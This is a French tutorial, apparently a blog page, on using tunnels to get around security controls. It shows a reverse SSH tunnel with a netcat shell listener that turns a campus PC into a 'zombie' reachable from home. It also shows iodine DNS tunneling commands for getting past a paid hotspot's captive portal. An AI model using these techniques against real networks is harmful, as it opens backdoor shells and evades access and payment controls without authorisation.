Tunneling

Tunneling pour outrepasser la sécurité


Pour rappel, ce document a pour seul objectif la prise de connaissance de techniques diverses permettant de modifier le comportement attendu d'un système de sécurité. En aucun cas il a pour objectif d'alimenter des attentions malhonnêtes.

Dans quel but ?

Parfois il peut être nécessaire de passer au travers d'une politique de sécurité jugée trop restrictive. A noter que les intentions ne sont pas toujours malhonnêtes, il peut arriver que nous bypassons la sécurité d'un système lors de cas atypiques vus come "urgent" et que nous sommes dans le besoin de faire les choses rapidement.

Nous allons mettre en avant différents cas où l'utilisation d'un tunnel permet d'outrepasser une politique de sécurité:


Bypasser un parefeu avec du reverse tunneling

Le scénario est le suivant : Un étudiant a besoin d'accéder, depuis chez lui, à un shell du pc Carapuce de son campus universitaire. Le problème est que l'étudiant se trouve par delà l'Internet et que le parefeu de l'école ne laisse entrer aucune connexion. Aussi l'étudiant peut avoir la main (non root) sur le pc carapuce à toute heure de l'après midi.

L'idée est la suivante, l'étudiant va agir comme un trojan le ferait, à savoir faire de carapuce une machine zombie

Pour ce faire, l'étudiant, depuis le pc carapuce, va ouvrir une connexion SSH vers un de ses serveurs, à savoir Melofee. Il prendra soin de dire au serveur Melofee qu'il souhaite faire du reverse tunneling (expliqué ici). Concrètement l'étudiant dit au serveur SSH Melofee de transmettre toute connexion TCP destiné au port 7777 vers le port 8888 de carapuce, ceci à travers le tunnel SSH. La commande utilisé (sur carapuce) est la suivante :

ssh –R 7777:localhost:8888 melofee

Enfin, un netcat sera lancé sur carapuce afin d'ouvrir un shell sur toute connexion entrante destiné au port 8888 de localhost.

On obtient le schéma logique suivant :



Voilà, depuis son dark PC, l'étudiant n'a plus qu'à se connecter sur le port 7777 de Melofee pour au final ouvrir un shell sur carapuce. C'est le mode de fonctionnement général des machines Zombie que nous trouvons par millie sur Internet.


Bypasser un portail captif - Tunnelling DNS

La situation est la suivante :


L'idée est que vous voulez accéder à internet en utilisant les ressources du LAN (hotspot) sur lequel vous vous trouvez. Ce hotspot payant utilise la technique bien connue du portail captif pour faire en sorte que vous soyez logué pour accéder à Internet.

Tout est dans le fonctionnement précis d'un portail captif. Si nous regardons ce que dit wikipedia:
Cela est obtenu en interceptant tous les paquets quelles que soient leurs destinations jusqu'à ce que l'utilisateur ouvre son navigateur web et essaie d'accéder à Internet.

En fait le routeur va intercepter les requêtes HTTP pour nous renvoyer vers le portail captif. On en déduit que si notre machine (plus précisément, notre navigateur) n'émet pas de requêtes http, alors elle ne sera pas redirigée vers le portail captif. L'astuce, c'est que si notre navigateur ne connais pas l'adresse IP du serveur WEB auquel il essaie d'accéder alors il ne génerera aucune requête HTTP (normal..):


De ce fait on peut clairement annoncer que si nos requêtes DNS n'aboutissent pas, alors le mécanisme du portail captif tombe à l'eau. On peut donc émettre l'hypothèse que sur la majorité (si ce n'est la totalité) des hotspots, nos requêtes DNS fonctionnent alors que nous ne sommes pas authentifiés.

Evidemment, il ne suffit pas d'encapsuler nos données dans n'importe quel protocole udp avec pour port destination 53. Ce serait trop simple. En effet la plupart des hotspots ne laissent sortir que les requêtes DNS ayant pour adresse IP source celle de leur serveur DNS. Dans ce cas c'est juste un petit plus compliqué, on aura juste à encapsuler nos données dans des requêtes DNS valides. Pour ce faire on aura donc besoin d'un domaine et d'un serveur DNS, ainsi que iodine.

Iodine est une application permettant d'encapsuler du trafic IP au travers de paquets DNS. Iodine fonctionne comme un vpn GRE, à savoir que le client et le serveur créent une interface tun et configurent leur table de routage comme il se doit.

Sur notre serveur, qui fait oficiellement office de serveur DNS reconnu, nous lançons le démon iodined, qui écoutera sur le port UDP 53 (DNS). On utilise la commande suivante :

iodined 10.232.0.1/24 -l 192.168.1.21 -P monpassword -u nobody mondomaine.fr

Sur le dark PC (le client), nous lançons le client iodine comme suit:

iodine -P monpassword mondomaine.fr

Ensuite il suffit de configurer la table de routage de dark pc comme on le souhaite, par exemple changer la default gateway vers le serveur iodine. Au final on obtient l'architecture suivante :


Voilà, grâce à ce beau tunnel DNS, nous avons accès à Internet !